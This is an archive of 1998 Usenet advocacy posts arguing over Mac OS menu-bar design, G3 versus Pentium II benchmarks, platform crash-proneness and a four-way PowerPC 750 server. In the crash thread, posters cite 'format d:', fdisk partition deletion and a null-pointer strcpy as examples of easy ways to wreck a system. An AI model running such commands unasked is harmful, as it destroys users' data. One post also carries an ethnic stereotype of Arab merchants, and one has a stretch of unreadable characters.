Ghavam Shahidi, SOI program manager at IBM said
many skeptics within the company became believers
on Feb 1, 1997 when a PowerPC 604e processor made
on SOI-type wafers was able to boot up a computer.
By May 1997, the company demonstrated a PowerPC 750
processor. Later a four-way server built around
four SOI-enhanced PowerPC 750s was able to run the
AIX operating system.
End quote.
I had thought that it was difficult to build a 2-way PPC 750
machine, and impossible to build more than that. This is the
impression I received from newsgroups, etc.
-arun gupta
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 03 Aug 1998 11:58:59 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0308981158590001@news>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981504030001@news> <6ptmcu$j2o$1@lwnws01.ne.highway1.com>
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In article <6ptmcu$j2o$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> They mentioned it for a particular group. And you either failed to read, or
> didn't include for whatever reason my notion of a custom menu palette.
I read the idea of a custom menu palette, and I support the idea. However,
I don't see how that should affect the default menu behavior at all. In
fact, I would much rather have a custom menu or toolbar to allow high-level
access to certain commands, instead of placing top-level menu items that
people might not benefit from.
> Yea, and that's why I proposed what I did, and I haven't a clue why you're
> building up this straw man huff. Regardless, I've seen no argument from you
> why the general public does not benefit from having hide, print, and quit up
> on top.
Because they take up more room on the top level, and may not be used by a
lot of people. Because they break away from the standard of having menus on
the top level, and limit menu behavior (i.e. you can no longer
click-release to select a menu, since that might click a button instead).
> Why, because you don't have anything but drivel.
I am offering logical, well-thought-out counterarguments to your arguments.
Why you feel the need to label it as "drivel" or throw out personal attacks
just because I disagree with you is beyond me. I still respect your
arguments, although I may not agree with them personally; why do you seem
to not respect me, just because I disagree with you?
Andy Bates.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 03 Aug 1998 12:02:15 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0308981202310001@sdn-ar-001casbarp248.dialsprint.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <ckoller-0208982346530001@38.los-angeles-09.ca.dial-access.att.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article
<ckoller-0208982346530001@38.los-angeles-09.ca.dial-access.att.net>,
ckoller@worldnet.att.net (Craig(nospam)Koller) wrote:
> > > > From todays santa barbara news press, editorial page, a readers letter:
> > > > <title> Working on Apple's newest G3, and loving it </title>
> > > > As a long-time reader and techno-guy (uh huh, yes you are just so
wise, mr
> > > > g3's are at least twice as fast as a intel 400 mhz pc), I wonder why the
> > > > weekly monday featrure on computer related issues in the
News-Press is so
> > > > unfriendly toward Appel computers.
> > > > The article on the recent Macworld show typifies the negative
attitude
> > > > and dismissal of Macs as a viable entity in the hi-tech world.
> > > > Peter Lewis, author of the biased and misinformed article, obviously
> > > > has never seen or used the new Macintosh g3, which is at least twice as
> > > > fast (sic) as a 400 mhz intel pc.
> > >
> > > Interesting. The Ads say the "chip" is "up to twice as fast" and our
> > > friend says the computer itself is "at least" twice as fast. Pretty broad
> > > discrepancy huh, although you gotta admire the guy for his enthusiasm -
> > > only because this is a Mac advocacy group (if he said the Mac could turn
> > > water into Snapple I'd be even more impressed).
> >
> > You are also forgetting the ad does not say is up to twice as fast as a
> p2 400.
> > Plus, they say the "chip" but they mean the computer.
>
> Says who? Says you. It's advertising. You want truth? Read the Qur'an.
Says who? Says anyone who looks at their support evidence and uses the
grey matter in their head. You go to their web page, find the ad, see a
asterick, find the asterick at the bottom of the page where it gives the
evidence to support their claim, and you see their evidence that is up to
twice as fast is
1) using bytemark
2) when you use macos software on the mac, and windows on the pc, and of
course you have to use specific compilers, if you use the "wrong" compiler
the results will be lower.
> Bytemark is
> > measuring the computer, not the chip, right? Er is it measuring the
> > computer running a specific os? Er is it measuring the computer running a
> > specific os when compiled with moto dr3 compiler? Er is it measuring
> > the computer running a specific os when compiled with moto dr3 compiler,
> > and the p2 is running windows, and compiled on a specific compiler?
> >
> > You take that dog of a os windows out of the equation, and the p2 will be
> > dramatically improved. And different os's would change the result of the
> > mac side.
>
> It's all moot. If Apple lied, Intel would be suing. Apple's AOR, Chiat Day
> Mojo has *really* good lawyers. Let users use their own minds. Go to the
> wintel forums and enlighten the masses...
Why would I want to do that? *IF* you read the post, you would read that
I am happy that the mindshare is changing. Let the general public think
this. Hey, intel made stupid commercials where they said the p2 chip
creates more vibrant colors...
> Let us poor deluded Mac users,
> somehow happily productive on our "toys," cling to our fantasies wouldja
> please?
Who said the g3 is a toy? Did I? No, this is just FUD by you. You dont
outright SAY I said this, but you let the reader assume I said this, then
I say something you can act all innocent.
> > I believe a g3 300 and a p2 400 are about the same speed. If I saw a test
> > where the two were compared using 15 photoshop filters, I would be more
> > inclined to take that number (and no 4 photoshop actions does not cut it)
> > BUT someone pointed me out to a mathematica benchmark, and the p2 400
> > running linux POUNDED THE LIVING CRAP OUT OF THE G3 300. It was something
> > like %30 faster.
>
> My God. Whatever. Any Mac user knows that MacOS FileIO is dog slow. There
> are certain things the Mac does in a pretty sucky way, speed wise. We
> *also* know that each OS upgrade eliminates more of these problems. Maybe
> your bud can try running Mathematica in MkLinux on a G3 300MHz and get a
> more realistic comparison (of the Chip, remember? The ad so deftly pointed
> out the chip - just the way Intel ads point out the CHIP).
And what did the ad use as supporting evidence? Apple's web page clearly
states that the comparison was using bytemark on windows versus bytemark
on macos. Since they said the "CHIP", why was their evidence the SLOW
macos versus the SLOW windows?
> > > But consider these two bullets that boneheaded media trolls use ad
> > > infinitum, ad nauseum: "Betamax" and "Apple is dying." Hey, if it takes
> > > equal slight of hand to counter the existing FUD. So be it. I won't
> > > perpetuate it mahself, but I can see others doing so... it's just the way
> > > of the world.
> >
> > So ya wanna talk fud? Didnt Steve Jobs himself admit Apple WAS dieing,
> > and if dramatic steps werent taken it would die? Back when it was doing
> > so badly, Joe R et all was saying it was all FUD, is steve J FUDing?
> >
> Wait, is it Apple you wanna roast
I will comment on anyone who makes factually inaccurate comments, be it
APple, JOe, or those lame p2 commercials were they state that the p2 chip
can somehow make colors more vibrant
or is it Joe Ragosta? Look, Joe and I
> don't agree on everything. You wanna take up Joe stuff with Joe. My
> recollection is that back when Jobs said Apple was in rough shape, I was
> saying much the same thing. I was saying their advertising sucked. I said
> the Pippin was a joke. I said their Powerbooks were dookie. I said MacOS
> 7.5.3 was double dookie.
>
> But I said it as a loyal Mac user who wanted Apple to get better, not a
> Wintel FUDster who wanted to put a bullet through Apple's head. Think real
> hard and you'll understand the difference.
How funny that being objective makes one a wintel fudster.
>
> Much of what Joe said was in reaction to the bile spewed from the Mac
> bashers who just had to stick salty sticks into the gaping wounds. What a
> cowardly thing to do. It's like taunting a lion in a cage. Hoopdee
> -freakin' - doo.
Get real. The media always bashes those who appear week. Now that apple
is increasing in mindshare they will lay off a bit and bash others who
appear weaker.
> Yet, here you guys come, wearing your 400MHz PII's and 3D accelerator
> cards, etc. like codpieces (read fake, enlarged organs) and you grind,
> grind, grind away on Apple and on the Mac. Why?
Look how this looks to the observer, a mac user objectively states his
opinions and you have to yell "WINTEL TROLL"
> > I totally disagree. The g3 266 is up to twice as fast as a p2 300. The p2
> > 300 is up to 8 times as fast as a g3 266. BOth statements ARE true. But
> > at the same time both are little white lies at the same time. Saying "the
> > g3" basically means as a whole. To be honest, they should say "the g3, in
> > certain functions, under the macos, is up to twice as fast as a p2, when
> > running that bloatware called windows 95, at certain rare functions. "
> > (ok, ok, they can delete "bloatware" and "rare" ;-)
> >
> Well, duh (and that's a friendly "duh")... of course both statements are
> true! But you see, Apple is the little guy, and Intel can't go after (in
> advertising any way) the little guy. So, there you go. It's strategy. Now
> don't knock strategy, my friend, it's what made MS what it is today. Don't
> tell me you thought it was just incredibly wonderful software that made
> Bill the richest man in Christendom...
Reread my original post and you will find basically every sentiment in
this paragraph expressed. I am glad the general publish is buying the
bs. As long as people in this forum, where RATIONAL AND OBJECTIVE DEBATE
Is supposed to be taking place, I dont care.
> > > > Apple increasing its marketshare is a GOOD THING, even if it causes
> > > > idiots to spew such idiotic comments. And this guys comment is as
> > > > stupid as a wintel person bragging about how the p2 chip causes the
> > > > computer to have "more vibrant colors".
> > >
> > > God, I LOVED that one! I still have carpet burns on my back from rolling
> > > on the floor laughing...
>
> C'mon. Where's the righteous indignation for *Intel's* "little white lie?"
WTF are you talking about? In the same paragraph of mine you are replying
to I said intels claim that the p2 chip causes the computer to have more
vibrant colors was STUPID.
Look, instead of trying to get into a match just calling people "wintel
fudsters" a la Joe Ragosta, how about trying some objective debate
> > >
> > > >
> > > > This letter greatly bothers me, in that utterly stupid comments
bother me,
> > > > but does also show that APple's mindshare is increasing.
> > > >
> > > Mindless-share is a critical *part* of mindshare. ;@)
> > >
> > > >
> > > > (NOTE, I tried to figure out what "rodger Dawson's" email address
was so I
> > > > could send a copy of this to him so he would have a chance to reply, but
> > > > the only rodger dawson I found was back east. So instead I only emailed
> > > > it to another official at sbhs (the advisor to the santa barbara high
> > > > school arts and technology workshop, which is the most similiar thing to
> > > > multi-media Arts & Technology Academy at Santa Barbara High School
I could
> > > > find , in case he knew the above person and wanted to forward it to him,
> > > > so Mr Dawson could reply back to my comments in comp.sys.mac.advocacy
> > >
> > > Oh, c'mon, we all knew that this Dawson fellow is yet another pseudonym
> > > used by Joe Ragosta to spread the gospel... mindless though it might be.
> >
> >
> >
> > I apologize, is this a jab at the pc people here? Joe R didnt write a
> > letter to the editor to our local paper ;)
>
>
> Oh cripes, I need to bow out for a while and cool off. Honestly, I'm sure
> you and Jim Meuller and the rest of the clan are quite nice fellows, once
> the armor is removed ...
Another thinly veiled "WINTEL TROLL" comment. How sad that a mac user who
tries to be objective is just insulted by you, called a wintel troll, and
insinuated to be acting just like other wintel trolls.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 03 Aug 1998 12:39:37 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0308981239370001@news>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <35BF4E0B.20BC88D3@ericsson.com> <35bf8505.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981710160001@news> <35c18547.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3107981108110001@news> <35c22269.0@nnrp1.news.uk.psi.net>
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In article <35c22269.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
(Richard Frith-Macdonald) wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
>
> >I'm sorry. What was I thinking? We all have larger screens, so why not
> >spread out the menu items? Why do we need menus in the first place? It's
> >preferable to have 75 separate commands as buttons running along the top
> >(or side) of the screen! After all, since none of them are inside menus,
> >they are quicker and easier to access, right?
>
> I haven't seen you write ANYTHING worthwhile yet!
Specifically, your argument that I was responding to was:
> >> 'space-effective'
> >> Oh - lets all restrict ourselves to a gui for a 9" display then shall we?
> >> 'or logical'
> >> Rubbish.
I don't see how my argument above is not "worthwhile," while your argument
that I responded to is somehow better. I was merely taking your argument
that we shouldn't worry about being space-effective and taking it to its
logical (absurd) conclusion.
By maintaining a good hierarchical structure, you can add an order more
commands without significantly increasing the screen space required to hold
those commands. However, by allowing top-level buttons, you are increasing
the screen space by the same amount, for only one command. This seems
inefficient, given that those items can be logically ordered into
subgroups.
Andy Bates.
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 03 Aug 1998 15:12:48 -0500
Organization: Ericsson Inc.
Message-ID: <35C619C0.DF8E9FB9@exu.ericsson.se>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981504030001@news> <6ptmcu$j2o$1@lwnws01.ne.highway1.com> <andyba-ya02408000R0308981158590001@news>
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Andy Bates wrote:
> I am offering logical, well-thought-out counterarguments to your arguments.
> Why you feel the need to label it as "drivel" or throw out personal attacks
> just because I disagree with you is beyond me. I still respect your
> arguments, although I may not agree with them personally; why do you seem
> to not respect me, just because I disagree with you?
I have to interject a few words of my own; while you (Andy) are quite
right, normally, in taking offense at such behavior, in this case it's a
matter of style. I think I can with all certainty say that when John
says "Your mouth is full of drivel and your ears are spanned by dung"
what he's really saying is "I disagree". It's like those movies where
the guy is bartering with some Arab merchant and the merchant keeps
spitting out curses like "you son of a filthy jackal" and "a pox on your
firstborn, you son of a motherless goat". What he's really saying is "I
want to charge you more money before I sell this thing to you".
Naturally, if it were your first exposure, you'd take offense; but since
everyone has seen these movies and knows the stereotypes by heart, it's
perfectly acceptable and there is little culture shock. In this case, it
is no different with John; you just need to learn the language. You may
not choose to speak it -- I can only manage it every so often -- but at
least you can recognize what's being said.
So give it some time and remember to turn down your headphones whenever
you read Kheit posts. I think you'll find red wine appropriate for the
occasion.
MJP
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 03 Aug 1998 12:34:58 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0308981234580001@news>
References: <26703-35C212B2-10@newsd-122.bryant.webtv.net> <26460-35C35EA3-21@newsd-121.bryant.webtv.net> <35c43548.0@nnrp1.news.uk.psi.net>
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In article <35c43548.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
(Richard Frith-Macdonald) wrote:
> RasAllGhul@webtv.net (Joshua Moore) wrote:
>
> >How consistent is it to have *buttons* in a *menu*bar? If you really
> >need a global button bar, there's the Control Strip.
>
> Completely consistent - since the menubar is a menu, and all the other
> menus permit you to select other items than submenus.
Actually, in the current Mac OS, the menubar is specific instance of a
menu; specifically, it is a menu that can only contain submenus.
> Please let's not get into this again - anyone who wants to claim that
> the menubar is not a menu - just go away an look things up in a dictionary
> and/or general (ie not mac specific) ui design book.
I agree completely that the menubar is a menu. However, that fact that it
is a menu should not be used as the complete justification for having
buttons at the top level. Similarly, the fact that is currently does NOT
have buttons at the top level should not be used as the complete
justification for it to NEVER have buttons at the top level.
Personally, I feel that a menu system without top-level buttons is easier
to understand for new users, since every top-level item pulls down a menu
that they can browse through. Also, having buttons at the top level would
limit using click-release to select a menu, because click-releasing on a
menu is harmless, but click-releasing on a button will immediately execute
that command. Finally, there seems to be a difference of opinion on which
buttons should be at the top level, and how often each of them should be
used, so it is clear that a customizable toolbar would be better for
everyone. It could be argued that although Quit is an important command, it
should not be so easy to get to that it could be accidentally clicked while
trying to access another menu. Currently, it is located at the bottom of a
submenu, physically separated from the other items. If you need to access
it quickly, a command-key shortcut works just as well.
I believe this sums up the various arguments pretty well.
Andy Bates.
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 3 Aug 1998 13:29:17 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6q574r$5e9$1@plo.sierra.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net>
NNTP-Posting-Date: 3 Aug 1998 20:38:51 GMT
Joe Ragosta wrote in message ...
>In article <6psua5$dj9$1@plo.sierra.com>, "Earl Malmrose"
><earl.malmrose@nospam.sierra.com> wrote:
>> And its much, much, much easier for a programmer to do something stupid
and
>> kill MacOS than it is to kill Windows.
>
>A statement for which you've NEVER provided one shred of evidence.
Read my claim again. Ok, now a contest. I'll come up with a stupid thing for
a programmer to do that will crash MacOS. You come up with one for, I'll be
generous, Win95. Ready, go.
strcpy((char *)0, "I win the contest, boy was that extremely easy to do.");
I'll assume you can come up with something. Which looks simpler? Which is
more likely to happen?
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 3 Aug 1998 13:27:24 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6q571a$5e7$1@plo.sierra.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net> <6pvq5u$lb9$1@nnrp1.dejanews.com> <ayufbaykuh-0108981550570001@192.168.0.2>
NNTP-Posting-Date: 3 Aug 1998 20:36:58 GMT
ayufbaykuh@bayust.cowm wrote in message ...
>In article <6pvq5u$lb9$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca
wrote:
>Before Earl found his way into my killfile after proving himself a
>butt-head
Cool! I've been killfiled!
>, I attempted to explain to him that, if conditions exist in my
>code such as those illustrated by your hackneyed little trick, I'll have
>to fix them.
After rebooting your system, many times, whereas, but since I use Win95,
WinNT, and BeOS, my debugger appears, shows me the offending line of code,
and I fix that bug in a fraction of the time it takes him. He probably
enjoy's hearing the cute little bong sound that the Mac makes when starting
up.
>It obviously isn't a panacea, and I find it annoying as
>anything when Microsoft apologists insist that it is.
No one claimed it was a panacea, just that we'd all be better off with it.
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 3 Aug 1998 13:35:38 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6q57gp$5o7$1@plo.sierra.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net>
NNTP-Posting-Date: 3 Aug 1998 20:45:13 GMT
Sorry, I can't respond to another post because of my news server limits, so
I'll reply to this one.
Joe Ragosta wrote in message ...
>So what? The following messes up my Windows machine and not my Mac:
>
>"fdisk".
No it does not! You have to start a command-prompt, type fdisk, select the
drive, select "delete partition", select "delete dos partition", select
which partition you want to delete, ignore the "warning, data in the
partition will be lost", and then you'll get the message: "Could not change
partitions, because the disk could not be locked." Typical Joe FUD.
Date: Mon, 03 Aug 1998 16:40:38 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0308981640380001@wil82.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net> <6q574r$5e9$1@plo.sierra.com>
In article <6q574r$5e9$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> Joe Ragosta wrote in message ...
> >In article <6psua5$dj9$1@plo.sierra.com>, "Earl Malmrose"
> ><earl.malmrose@nospam.sierra.com> wrote:
> >> And its much, much, much easier for a programmer to do something stupid
> and
> >> kill MacOS than it is to kill Windows.
> >
> >A statement for which you've NEVER provided one shred of evidence.
>
> Read my claim again. Ok, now a contest. I'll come up with a stupid thing for
> a programmer to do that will crash MacOS. You come up with one for, I'll be
> generous, Win95. Ready, go.
>
> strcpy((char *)0, "I win the contest, boy was that extremely easy to do.");
>
> I'll assume you can come up with something. Which looks simpler? Which is
> more likely to happen?
a:/install (with the Win95 installation floppy inserted, of course)
Mine is pretty simple--and happens daily. How often does a programmer use yours?
The point is very simple. There are stupid things you can do on either
platform. You can find all sorts of examples. So what? Until you can show
that one platform crashes more often than the other, you're blowing smoke.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 03 Aug 1998 16:44:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.arch
Subject: Re: 4-way PPC 750
Message-ID: <joe.ragosta-0308981644470001@wil82.dol.net>
References: <6q53ln$la2@newsb.netnews.att.com>
In article <6q53ln$la2@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> IBM's Silicon-on-insulator (SOI) is interesting enough, but
> something else caught my eye.
>
> http://www.eet.com/news/98/1020news/ibmtakes.html
>
> Quote :
>
> Ghavam Shahidi, SOI program manager at IBM said
> many skeptics within the company became believers
> on Feb 1, 1997 when a PowerPC 604e processor made
> on SOI-type wafers was able to boot up a computer.
> By May 1997, the company demonstrated a PowerPC 750
> processor. Later a four-way server built around
> four SOI-enhanced PowerPC 750s was able to run the
> AIX operating system.
>
> End quote.
>
> I had thought that it was difficult to build a 2-way PPC 750
> machine, and impossible to build more than that. This is the
> impression I received from newsgroups, etc.
I think I read that it was possible, but that it required a significant
number of extra chips to handle the cache.
What surprises me is that it's been kept quiet for so long. IBM
demonstrated a 750 processor more than a year ago and they've kept it
under wraps? I'm impressed.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 03 Aug 1998 17:05:05 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0308981705060001@wil42.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net> <6q57gp$5o7$1@plo.sierra.com>
In article <6q57gp$5o7$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> Sorry, I can't respond to another post because of my news server limits, so
> I'll reply to this one.
>
> Joe Ragosta wrote in message ...
> >So what? The following messes up my Windows machine and not my Mac:
> >
> >"fdisk".
>
> No it does not! You have to start a command-prompt, type fdisk, select the
> drive, select "delete partition", select "delete dos partition", select
> which partition you want to delete, ignore the "warning, data in the
> partition will be lost", and then you'll get the message: "Could not change
> partitions, because the disk could not be locked." Typical Joe FUD.
OK. Fine. So, select "run" from the Start menu and enter "format d:"
You'll get a confirmation box, but the point is that someone doing
something stupid can mess up any system. Until you show that Macs are
messed up more often than Windows boxes, you don't have an argument.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 3 Aug 1998 21:14:58 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6q598i$m4o@newsb.netnews.att.com>
